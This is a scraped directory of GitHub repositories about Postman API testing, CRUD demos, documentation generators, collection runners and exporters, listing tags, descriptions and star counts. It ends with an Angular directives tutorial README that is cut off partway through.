Learning Postman Api tests with Jenkins and Newman for automation tests | 0 stars | 0 watchers | 1 forks |
|
domahidizoltan/playground-newman automat, automation, newman, play, playground, test |
Playing with Rest API test automation with Postman/Newman | 0 stars | 0 watchers | 1 forks |
|
jameswentworth/PostmanRESTService automat, automation, test, testing, tests |
Structuring tests for API Web REST Service testing and automation using Java, JS etc. | 0 stars | 0 watchers | 1 forks |
|
luizlohn/neon-api-automation-test automat, automation, script, test |
Postman + Newman + Javascript | 0 stars | 0 watchers | 1 forks |
|
DanSchon/postman_rest_api_test_automation automat, automate, automated, automation, collection, end to end, rest, rest api, test |
built an automated end to end rest api test collection | 0 stars | 0 watchers | 1 forks |
|
IsaiaSilva/httparty_pokeapi automat, automation, http, party, ruby, spec |
API automation with httparty + postman + rspec + ruby gem | 0 stars | 0 watchers | 1 forks |
|
nhipham65/UI_API_Automation_Test automat, automation, http, https, json, place, placeholder, rest, site |
Complete UI (Katalon) and API (Postman) automation site: UI - http://demo.prestashop.com; API - https://jsonplaceholder.typicode.com/ | 0 stars | 0 watchers | 1 forks |
|
aleksandr-r/API-automation automat, automation |
Juice Shop with Postman and Newman | 0 stars | 0 watchers | 0 forks |
|
chaithuj/webservices-automation automat, automation, chai, service, services, webservice, webservices |
Automation web services using postman | 0 stars | 0 watchers | 0 forks |
|
chinu4104/api-docker automat, automation, docker, test |
Postman-API test automation using docker | 0 stars | 0 watchers | 0 forks |
|
rakuju87/endtoend-automation-demo actor, automat, automation, test, tests |
Demo on Protractor and Postman tests in CI/CD using Bamboo | 0 stars | 0 watchers | 0 forks |
|
saurabhsaagu/API_automation automat, automation |
Using Jenkins, Newman and Postman | 0 stars | 0 watchers | 0 forks |
|
arjunsk/postman_api_automation automat, automation, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
bairagimuduli/api_automation_with_postman automat, automation, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
baraatia/apiAutomationPostman automat, automation |
contains api automation project using post man | 0 stars | 0 watchers | 0 forks |
|
bestchanges/postman-backend-testing automat, automation, backend, test, testing |
Example of how to implement HTTP API automation testing using Postman and Newman | 0 stars | 0 watchers | 0 forks |
|
deepkamal/magento-automations access, agent, automat, automation, collection, magento, postman collection, script |
script and postman collection for Magento access | 0 stars | 0 watchers | 0 forks |
|
geotracsystems/postman-mapsApiAutomation automat, automation, maps, system, systems |
Contains Postman Collection for Maps API automation | 0 stars | 0 watchers | 0 forks |
|
vitorverasm/node-crud-rest crud, express, mongo, node, rest, restful, simlpe |
A simlpe restful NodeJS crud, with expressJS and mongoDB. | 0 stars | 0 watchers | 5 forks |
|
syronz/gocrud crud |
simple app like postman | 0 stars | 0 watchers | 3 forks |
|
iraviteja/node-crud-postman crud, description, node, script |
No description available. | 1 stars | 1 watchers | 0 forks |
|
dikshachauhan008/RestAPIImplementationInSpringBoot crud, framework, implementation, operation, operations, service, services, test, tested |
REST API implementation In Spring Boot, implemented all the crud operations GET,POST, DELETE, PUT in MVC framework and tested all the services with POSTMAN | 1 stars | 1 watchers | 0 forks |
|
ddemott/spring-restful-web-services-crud-example crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do |
DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 | 0 stars | 0 watchers | 1 forks |
|
LondonComputadores/gostack-node-express-api-crud builder, crud, express, node, test, tester, testing |
First part of GoStack Course from Rocketseat where we built a Nodejs + Expressjs API CRUD for testing with Insomnia API builder/tester like Postman. | 0 stars | 0 watchers | 0 forks |
|
collectivecloudperu/controlador_pruebas_aplicacion_crud_postman cloud, collective, crud, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
deejaymmm/postman_crud5 crud, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
Joneyviana/crudPostmanCollection crud, description, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
lekhrajprasad/springboot-mongodb boot, crud, mongo, mongod, mongodb, operation, rest, spring, spring boot, springboot, test |
crud operation using spring boot , mongo db, rest, to test use postman | 0 stars | 0 watchers | 0 forks |
|
rajendraprasad10/flask_restapi_mongodb creation, crud, flask, mongo, mongod, mongodb, rest, restapi |
crud app with flask and mongodb postman API creation | 0 stars | 0 watchers | 0 forks |
|
RMUSMAN/laravel-simple-restful-api-crud crud, json, laravel, rest, restful, test, tested, validation |
simple restful api crud in laravel tested in postman. validation response in json. | 0 stars | 0 watchers | 0 forks |
|
AlexFerreras/Golang-simple-crud-operation-web-service- crud, golang, lang, operation, service |
Simple complete and practice golang crud operation (WEB SERVICE), to use it. you most use Postman | 0 stars | 0 watchers | 0 forks |
|
awaism551/nodejs-crud crud, crud api, fantastic, mongo, mongod, mongodb, node, nodejs, test, tested |
Simple CRUD app using NODEjs, Expressjs and mongodb, app was tested using postman and all crud apis was doing fantastic | 0 stars | 0 watchers | 0 forks |
|
Axelgeorggithub/API_lista_baltieri controller, crud, ggithub, github, list, program, test, todo, util |
Usuários, categorias e produtos. Para testar utilize o programa postman, na qual o mesmo dispõe do crud(get, post, put, delete) para todos os controllers. | 0 stars | 0 watchers | 0 forks |
|
baldwmic/hf_crud_app crud |
Hacker Fellows CRUD app using Node, Express to create simple REST API and Postgres, using Postman | 0 stars | 0 watchers | 0 forks |
|
chinthakahe/node_crud crud, node |
Test Node Restful Api using postman | 0 stars | 0 watchers | 0 forks |
|
dariogguillen/crud-user-car crud, user |
crud-api-user-car | 0 stars | 0 watchers | 0 forks |
|
davids13/crud-spring-data-rest crud, data, rest, spring |
DAO technique: SPRING DATA REST (w/ Spring Boot, MySQL, RESTful) | 0 stars | 0 watchers | 0 forks |
|
deechris27/REST_API_CRUD_GEOTargeting client, crud, rest |
Node JS, Mongo DB - GeoJson, Express, Postman rest client. A complete rest crud project | 0 stars | 0 watchers | 0 forks |
|
dinushchathurya/node-mysql-crud-app api blueprint, asyncapi, chat, crud, express, json schema, mysql, node, nodejs, oauth, openid, sql |
Create Restful API using nodejs, express and mysql | 0 stars | 0 watchers | 0 forks |
|
FernandoAlencarJr/backend-postman-expresss-cors-bodyparser-noderestful backend, crud, express, node, noderestful, parse, parser, rest, restful |
uso para crud | 0 stars | 0 watchers | 0 forks |
|
genc4y10/spring-boot-crud boot, crud, example, hibernate, spring, spring boot |
spring boot hibernate crud example with postman | 0 stars | 0 watchers | 0 forks |
|
giftlmy/Spring-crud crud |
Postman测试本地API | 0 stars | 0 watchers | 0 forks |
|
kinzical/Understanding-DI crud |
Simple crud using postman, but the code is loosely coupled | 0 stars | 0 watchers | 0 forks |
|
aubm/postmanerator collection, collections, document, documentation, generator |
A HTTP API documentation generator that use Postman collections | 448 stars | 448 watchers | 65 forks |
|
JakeWorrell/docodile collection, document, documentation |
Generate HTML API documentation from a Postman collection | 51 stars | 51 watchers | 24 forks |
|
davidevernizzi/docman collection, collections, document, documentation, generate, postman collection, postman collections |
A simple page to generate documentation from postman collections | 46 stars | 46 watchers | 18 forks |
|
vmware/vsphere-automation-sdk-rest automat, automation, document, documentation, reference, rest, sample, samples, vmware, vsphere |
REST (Postman and JavaScript) samples and API reference documentation for vSphere using the VMware REST API | 0 stars | 0 watchers | 89 forks |
|
thedevsaddam/docgen collection, devs, document, documentation, form, postman collection |
Transform your postman collection to HTML/Markdown documentation | 0 stars | 0 watchers | 42 forks |
|
josephpconley/swagger2postman collection, document, documentation, swagger, swagger2 |
Create a Postman collection from live Swagger documentation | 0 stars | 0 watchers | 14 forks |
|
codeasashu/openman convert, converte, converter, document, documentation, mock |
Postman to OpenAPI Spec converter with mocking and documentation | 3 stars | 3 watchers | 1 forks |
|
tangcent/easy-api comments, document, documentation, elegant |
Elegant documentation comes from elegant code comments | 0 stars | 0 watchers | 7 forks |
|
leprechau/swag2pm collection, collections, document, documentation, feeds |
PHP Script to create Postman collections from Swagger API documentation feeds | 2 stars | 2 watchers | 1 forks |
|
seswho/CyberArk_EPM_Postman_Collection automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks |
The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples | 2 stars | 2 watchers | 1 forks |
|
Tiemma/isw-docs-demo docs, document, documentation, generation |
Automated documentation generation using Slate and Postman Collections | 0 stars | 0 watchers | 4 forks |
|
thedevsaddam/docgen-bin collection, devs, document, documentation, form, html, postman collection |
Transform your postman collection to html documentation | 0 stars | 0 watchers | 3 forks |
|
DoctorWhoFR/PostPy document, documentation, export, form, markdown, python, tool, transform |
A python tool to transform postman documentation export into basic markdown for Github Wiki in exemple. | 1 stars | 1 watchers | 0 forks |
|
MadAppGang/postman-doc-generator document, documentation, generator |
Postman documentation generator | 1 stars | 1 watchers | 0 forks |
|
mkesicki/api2word document, documentation |
Export Postman documentation (via Postman API) to Word. | 1 stars | 1 watchers | 0 forks |
|
rcelsom/Boat-Tracker cloud, data, datastore, document, documentation, environment, host, hosting, included, storage, store, test, test suite |
This is a REST API using Google cloud for hosting and Google datastore for storage. API documentation and Postman test suite and environment is included | 1 stars | 1 watchers | 0 forks |
|
shelleypham/GE-Current-Hackathon-API-Tutorial access, details, document, documentation, environment, hackathon, resource, resources, retrieve, source, token, tokens |
This documentation provides more details on how to set up the hackathon environment on Postman, retrieve Intelligent Cities and Intelligent Enterprises access tokens, and how to use those access token to retrieve resources | 1 stars | 1 watchers | 0 forks |
|
openMF/mifos-io-configuration config, configuration, document, documentation, environment, file, files, queries |
Config files, postman queries, documentation for Mifos.io lab environment | 0 stars | 0 watchers | 2 forks |
|
accubits/API-doc-auto-generator collection, document, documentation, generate, generator |
Simple app to generate API documentation from Postman collection | 0 stars | 0 watchers | 1 forks |
|
ChuckMcAllister/CyberArk-EPM-REST-API-Postman-Collection collection, customer, customers, data, document, documentation, example, examples, list, pull, version |
CyberArk Endpoint Privilege Manager has a REST API for pulling data starting with version 10.7. Available for both on-premise and SaaS customers. Postman collection has documentation and examples | 0 stars | 0 watchers | 1 forks |
|
PhillippOhlandt/pmtoapib collection, convert, document, documentation, export, exports, print |
Tool to convert Postman collection exports to Api Blueprint documentation | 0 stars | 0 watchers | 1 forks |
|
abhishekalai/pmts collection, collections, convert, document, documentation, postman collection, postman collections, slate, tool |
cli tool to convert postman collections to slate documentation page | 0 stars | 0 watchers | 0 forks |
|
grpaik92/postman_documentation description, document, documentation, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
andregaldino/documentation-postman document, documentation |
documentation-postman | 0 stars | 0 watchers | 0 forks |
|
BGLCorp/bgl-api-doc document, documentation |
BGL360 API documentation for postman | 0 stars | 0 watchers | 0 forks |
|
mpociot/laravel-apidoc-generator apidoc, generator, laravel |
Laravel API Documentation Generator | 2548 stars | 2548 watchers | 444 forks |
|
aubm/postmanerator collection, collections, document, documentation, generator |
A HTTP API documentation generator that use Postman collections | 448 stars | 448 watchers | 65 forks |
|
postmanlabs/postman-code-generators generator, generators |
Common repository for all code generators shipped with Postman | 144 stars | 144 watchers | 70 forks |
|
djfdyuruiry/swagger2-postman-generator bodies, collection, collections, generate, generator, sample, swagger, swagger2 |
Use Swagger v2 JSON Collections to generate Postman v1 collections which include sample request bodies | 28 stars | 28 watchers | 14 forks |
|
api-platform/postman-collection-generator collection, form, generator, platform |
Generator for Postman collection based on API Platform | 25 stars | 25 watchers | 9 forks |
|
f1nnix/docman generator |
Docs generator for Postman REST Client | 12 stars | 12 watchers | 3 forks |
|
AlbertLabarento/postman-collection-generator bare, collection, function, functional, generator, integrate, integrated, package, test, tests |
Postman collection generator for your api's. Best used for your functional tests integrated with this package. | 4 stars | 4 watchers | 3 forks |
|
benfluleck/random-phone-number-generator file, generate, generator, implements, java, javascript, order, phone, random, script, spec |
Random number generator is a full stack javascript app that implements a simple way to generate phone numbers in a file in an order specified | 4 stars | 4 watchers | 2 forks |
|
palantir/conjure-postman conjure, generator |
Conjure generator for Postman | 0 stars | 0 watchers | 5 forks |
|
ghostframe/postmandoc generator, host, projects |
Postman Collection generator for Spring Rest Docs projects | 0 stars | 0 watchers | 4 forks |
|
Cazaimi/postman-environment-generator collection, environment, generator, names, variable |
An app that creates a Postman environment for all the variable names in your Postman collection | 1 stars | 1 watchers | 1 forks |
|
metasys-server/apib-2postman generator, meta, print, server |
An API Blueprint to Postman Collection generator | 1 stars | 1 watchers | 1 forks |
|
postmanlabs/codegen-curl codegen, curl, generator, snippet |
curl snippet generator for Postman Requests | 1 stars | 1 watchers | 1 forks |
|
raw34/postman-collection-generators charles, collection, file, files, generator, generators, openapi, postman collection, swagger |
Generate postman collection from files, like postman, openapi, swagger, charles... | 1 stars | 1 watchers | 0 forks |
|
flipboxstudio/postman-test-generator description, generator, script, studio, test |
No description available. | 0 stars | 0 watchers | 2 forks |
|
MadAppGang/postman-doc-generator document, documentation, generator |
Postman documentation generator | 1 stars | 1 watchers | 0 forks |
|
Odusanya18/postman-to-slate-examples docs, example, examples, generate, generated, generator, holds, java, slate |
This holds example docs generated by the postman to slate generator written in java | 1 stars | 1 watchers | 0 forks |
|
ScottReed/iis-redirect-generator config, generating, generator, postman tests, rating, redirect, test, tests |
A redirect generator for generating IIS redirects in web.config and postman tests | 1 stars | 1 watchers | 0 forks |
|
tripathysagar/AUK collection, document, file, generator, path, postman collection, result, version |
first version of document generator for postman collection result. please run main.py , and update the name of the file in main.py | 1 stars | 1 watchers | 0 forks |
|
ingatlancom/escher-postman auth, authentication, escher, generator |
Postman Pre-request Script generator for Escher authentication | 0 stars | 0 watchers | 2 forks |
|
codotype/codotype-postman-collection-generator collection, generator, postbox, type |
:postbox: Codotype generator for Postman Collections | 0 stars | 0 watchers | 1 forks |
|
accubits/API-doc-auto-generator collection, document, documentation, generate, generator |
Simple app to generate API documentation from Postman collection | 0 stars | 0 watchers | 1 forks |
|
darkestpriest/postman-environment-generator config, configuration, environment, environments, generate, generates, generator, library |
A library that generates environments for postman using a simple configuration | 0 stars | 0 watchers | 1 forks |
|
piagarwal11/postman_collection_generator collection, generator |
Postman collection generator for Spring Rest API | 0 stars | 0 watchers | 1 forks |
|
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
|
postmanlabs/newman collection, command, newman, runner |
Newman is a command-line collection runner for Postman | 4326 stars | 4326 watchers | 649 forks |
|
k3rn3l-p4n1c/postpython collection, library, python, runner |
Postman collection runner library for python | 29 stars | 29 watchers | 7 forks |
|
poynt/postman-runner collection, collections, module, runner |
A module to run a POSTMAN collections. | 0 stars | 0 watchers | 35 forks |
|
httprunner/postman2case case, cases, http, httprunner, runner, test, testcase |
Convert Postman Collection Format to JSON/YAML testcases for HttpRunner. | 0 stars | 0 watchers | 8 forks |
|
faressoft/postman-runner active, collection, collections, interactive, interactively, postman collection, postman collections, product, productivity, runner, tool |
CLI productivity dev tool to run postman collections interactively | 3 stars | 3 watchers | 0 forks |
|
michaelruocco/gradle-postman-runner collection, collections, gradle, plugin, runner |
A gradle plugin to run Postman collections | 0 stars | 0 watchers | 6 forks |
|
ildanno/forgeman forge, runner, test, test run |
Command-line test runner built on top of Postman/Newman | 2 stars | 2 watchers | 1 forks |
|
ekino/docker-newman collection, command, docker, image, newman, runner, whale |
:whale: Docker image to easily start Newman, the command-line collection runner for Postman | 2 stars | 2 watchers | 0 forks |
|
hanikhan/postman-collection-runner collection, collections, export, exported, generate, module, newman, report, reports, runner |
Uses postman's newman module to run exported POSTMAN collections and generate detailed reports | 1 stars | 1 watchers | 1 forks |
|
vagabond1-1983/API-Testing http, httprunner, jmeter, runner |
API测试：postman，jmeter，yapi，httprunner，自研接口框架，ci | 1 stars | 1 watchers | 1 forks |
|
matt-ball/newman-action action, collection, headless, newman, runner |
Use Postman's headless collection runner, Newman, via a GitHub Action. | 0 stars | 0 watchers | 3 forks |
|
yapily/yapily-api-test-suite collection, runner, test, yapily |
Postman collection runner for Yapily API's | 1 stars | 1 watchers | 0 forks |
|
fixate/jest-runner-newman jest, newman, runner, tool |
A Jest runner for Postman's Newman CLI tool | 0 stars | 0 watchers | 2 forks |
|
codeasashu/python-postman-parser collection, parse, parser, postman collection, python, runner |
A postman collection parser and runner written in python | 1 stars | 1 watchers | 0 forks |
|
dgarcia202/prunner collection, postman collection, runner |
postman collection runner in go | 1 stars | 1 watchers | 0 forks |
|
bilgetech/postaci runner, test, test run |
Continuous test runner for Postman. | 0 stars | 0 watchers | 2 forks |
|
m3steele/xm-labs-PostMan-APIs runner, runners |
Adds all xMatters API's to Postman. Includes helpful runners. | 0 stars | 0 watchers | 2 forks |
|
reportportal/agent-postman agent, report, reporting, runner |
Agent for Postman reporting (based on NewMan runner) | 0 stars | 0 watchers | 2 forks |
|
flash286/postman-load-testing collection, collections, lang, newman, parallel, postman collection, postman collections, runner, test, testing, tool |
This tool written on go lang, help to run postman collections in parallel mode. So you can use it for load testing based on postman collections. As a runner it uses newman. | 0 stars | 0 watchers | 1 forks |
|
mohamed-abdo/api-test-suit python, runner, test |
postman runner from python | 0 stars | 0 watchers | 1 forks |
|
wcandillon/courrier parallel, runner |
Postman runner that can run requests in parallel | 0 stars | 0 watchers | 1 forks |
|
aplorenzen/selenium-example automat, automate, example, newman, regression, runner, selenium, smoke, test, testing |
An example of how Selenium IDE, selenium-side-runner, Postman and newman can be used to automate regression and smoke testing | 0 stars | 0 watchers | 0 forks |
|
gmanideep1991/gradle-newman-runner collection, collections, development, generate, gradle, newman, postman collection, postman collections, report, reports, runner |
Run postman collections and generate reports. Still in development. | 0 stars | 0 watchers | 0 forks |
|
coatsnmore/postman-runner advance, advanced, runner, test, testing |
Opinionated Postman Collection Runner for advanced API testing | 0 stars | 0 watchers | 0 forks |
|
gustavosvalentim/postrunner collection, collections, runner |
Library to run Postman collections using Python. | 0 stars | 0 watchers | 0 forks |
|
DannyDainton/All-Things-Postman example, examples, select, selection |
A selection of examples using Postman REST Client | 285 stars | 285 watchers | 84 forks |
|
Altinn/postman-examples description, example, examples, script |
No description available. | 2 stars | 2 watchers | 4 forks |
|
networktocode/nso-restconf-postman-examples description, example, examples, network, rest, script |
No description available. | 0 stars | 0 watchers | 6 forks |
|
seswho/CyberArk_EPM_Postman_Collection automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks |
The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples | 2 stars | 2 watchers | 1 forks |
|
akarneliuk/rest_api_all example, examples, rest |
Working REST API examples for Ansible, Python, Bash and Postman | 2 stars | 2 watchers | 0 forks |
|
f5devcentral/f5-cloudserviceeaplab cloud, example, examples, service, services |
F5 Essential App Protect cloud services - Lab & API examples with Postman | 1 stars | 1 watchers | 2 forks |
|
brooksandrew/postman_problems_examples example, examples, problem, route, stat, visual, visualization |
Optimal route to ride every state avenue in DC: RPP optimization with OSM visualization | 1 stars | 1 watchers | 1 forks |
|
adobe/reactor-postman actor, collection, example, examples, form, react, reactor |
A Postman collection of Reactor API examples for Adobe Experience Platform Launch | 0 stars | 0 watchers | 3 forks |
|
omise/postman-examples collection, example, examples |
A collection of examples to use with www.getpostman.com | 0 stars | 0 watchers | 3 forks |
|
rapid7/logentries-postman-collection collection, example, examples, logentries, rapid7 |
Postman examples for Logentries | 0 stars | 0 watchers | 2 forks |
|
Odusanya18/postman-to-slate-examples docs, example, examples, generate, generated, generator, holds, java, slate |
This holds example docs generated by the postman to slate generator written in java | 1 stars | 1 watchers | 0 forks |
|
CiscoDevNet/coding-101 coding, collection, example, examples |
Postman collection examples | 0 stars | 0 watchers | 2 forks |
|
johnddias/postmancollectionvropsexamples collection, example, examples, including, sample |
A sample of vRealize Operations REST APIs including the CaSA APIs for cluster management | 0 stars | 0 watchers | 2 forks |
|
commercetools/commercetools-postman-collection collection, commerce, commercetools, example, examples, setup, tool, tools |
Collection of commercetools API examples setup on top of Postman | 0 stars | 0 watchers | 1 forks |
|
SoftwareInnovation/sif-rpc-postman-examples description, example, examples, script |
No description available. | 0 stars | 0 watchers | 1 forks |
|
AuthySE/Authy-Reporting-Samples example, examples |
cURL and Postman examples from Authy's Reporting API | 0 stars | 0 watchers | 1 forks |
|
ChuckMcAllister/CyberArk-EPM-REST-API-Postman-Collection collection, customer, customers, data, document, documentation, example, examples, list, pull, version |
CyberArk Endpoint Privilege Manager has a REST API for pulling data starting with version 10.7. Available for both on-premise and SaaS customers. Postman collection has documentation and examples | 0 stars | 0 watchers | 1 forks |
|
f5devcentral/f5-cloudservicednslab cloud, example, examples, service |
F5 DNS and DNS Load Balancer Cloud Services - Lab & API examples with Postman | 0 stars | 0 watchers | 1 forks |
|
inkysea/vRA_Postman_examples description, example, examples, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
klimtever/spmia-postman-testing example, examples, spmia, test, testing |
Testing SPMIA examples with POSTMAN | 0 stars | 0 watchers | 0 forks |
|
Public360/sif-rpc-postman-examples description, example, examples, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
stefaniuy/postman-examples description, example, examples, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
antonioortegajr/postman-tests collection, collections, example, examples, generic, mostly, reference, test, tests, writing |
I like writing tests in postman for my collections. This repo is generic examples of these tests for mostly my own reference. | 0 stars | 0 watchers | 0 forks |
|
Carmot/apigee-baas-postman apigee, example, examples, file, files |
Postman files with Apigee BaaS API calls examples. | 0 stars | 0 watchers | 0 forks |
|
csfreitas/bitbucketapi1 bitbucket, bucket, example, examples |
Collection of postman for examples about using Bitbucket REST APIs 1.0 | 0 stars | 0 watchers | 0 forks |
|
yuun/aws-apigateway-exporter export, exporter, exporting, extension, extensions, file, form, format, gateway, integration, json, script, swagger, yaml |
Python script for exporting an API Gateway stage to a swagger file, in yaml or json format, with Postman or API Gateway integrations extensions. | 8 stars | 8 watchers | 1 forks |
|
RL-Studio/laraman export, fluent, route, routes |
A fluent way to export your Laravel routes to a Postman export. | 0 stars | 0 watchers | 6 forks |
|
smallcampus/postmgn collection, collections, environment, environments, export, import, postman collection, postman collections, tool |
A tool that helps import and export postman collections + environments | 2 stars | 2 watchers | 0 forks |
|
hanikhan/postman-collection-runner collection, collections, export, exported, generate, module, newman, report, reports, runner |
Uses postman's newman module to run exported POSTMAN collections and generate detailed reports | 1 stars | 1 watchers | 1 forks |
|
EickeOe/yapi-plugin-export-postman-json description, export, json, plugin, script |
No description available. | 1 stars | 1 watchers | 1 forks |
|
ubaid-me/soapui2postman chrome, export, form, format, google, http, https, json, soap, soapui, source, store |
Converts SoapUI (https://www.soapui.org/) XML export to Postman (https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?utm_source=chrome-ntp-icon) compatible json format. | 1 stars | 1 watchers | 0 forks |
|
rwilcox/postal_clirk collection, collections, export, exported, postman collection, postman collections, single |
Ever wanted to set up or run a single Postman request from exported postman collections. Here you go. Simple Postman requests only | 1 stars | 1 watchers | 0 forks |
|
buckle/restdocs-tool-export docs, download, export, exports, import, imported, rest, snippet, snippets, tool |
Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. | 1 stars | 1 watchers | 0 forks |
|
DoctorWhoFR/PostPy document, documentation, export, form, markdown, python, tool, transform |
A python tool to transform postman documentation export into basic markdown for Github Wiki in exemple. | 1 stars | 1 watchers | 0 forks |
|
ostenant/postman-restful-api-exporter export, exporter, rest, restful, tenant |
postman-restful-api-exporter | 1 stars | 1 watchers | 0 forks |
|
pedroSG94/lazy-api-rest collection, export, exported, generate, json, module, postman collection, rest |
Python project to generate a API rest module for Android using a json exported from postman collection | 1 stars | 1 watchers | 0 forks |
|
ivastly/php2curl command, convert, curl, data, export, import, imported, tool |
tiny lib to convert data from PHP request to CURL command. Then, CURL command can be imported into Postman with 1 click, so it is PHP to Postman export tool. | 0 stars | 0 watchers | 1 forks |
|
josephbuchma/postman-ruby collection, collections, export, exported, http, ruby |
Parse & make http requests from Postman's (getpostman.com) exported collections (Collection V2) | 0 stars | 0 watchers | 1 forks |
|
PhillippOhlandt/pmtoapib collection, convert, document, documentation, export, exports, print |
Tool to convert Postman collection exports to Api Blueprint documentation | 0 stars | 0 watchers | 1 forks |
|
supunlakmal/postman-to-markdown data, export, markdown |
Convert Postman export (Collection v2.1) JSON data to markdown | 0 stars | 0 watchers | 1 forks |
|
barbaracabral/postman_newman_example collection, collections, example, export, newman, test |
Exemplo de Testes Automatizados exportando as collections com testes do postman e executando com o Newman | 0 stars | 0 watchers | 0 forks |
|
himanverma/api-docs collection, collections, docs, export |
Create Documentations for your APIs and export them to POSTMAN collections | 0 stars | 0 watchers | 0 forks |
|
Krishank/API-Test-Lib collection, dynamic, dynamically, export, powerful, proving, test, testing, tool |
As we all know POSTMAN is a very powerful tool for API Testing this is a Simple POC for proving how can we use postman for API testing, export it collection dynamically and run it from any CI tool | 0 stars | 0 watchers | 0 forks |
|
tobyokeke/laravel-model-export controller, export, laravel, model, properties |
Creates properties for JS from migrations and properties for Postman using request inputs from controllers in Laravel | 0 stars | 0 watchers | 0 forks |
|
adepssimius/postman-export-documenter description, document, export, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
AJdelphix/Postman export, exports |
Repo for Postman API exports | 0 stars | 0 watchers | 0 forks |
|
bdrupieski/FiddlerExportToPostman export, extension, form, format, import, sessions |
A Fiddler extension to export sessions in a format Postman can import | 0 stars | 0 watchers | 0 forks |
|
BrentGruber/pyman class, collection, convert, export, exported, library, postman collection, usable |
Python library that can convert an exported postman collection into a usable Python class for making api calls | 0 stars | 0 watchers | 0 forks |
|
cfitz1995/postman-splitter command, export, exports, import, util, utility |
Node.js command-line utility for importing/exports individual Postman requests | 0 stars | 0 watchers | 0 forks |
|
cncal/parrot apidoc, automat, automatic, automatically, export, exported, file, generate, json, parse, tool |
A tool used to parse json file exported from Postman and generate apidoc automatically. | 0 stars | 0 watchers | 0 forks |
|
gustavguez/postman-importer collection, import, importer |
Postman collection importer | 22 stars | 22 watchers | 6 forks |
|
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very 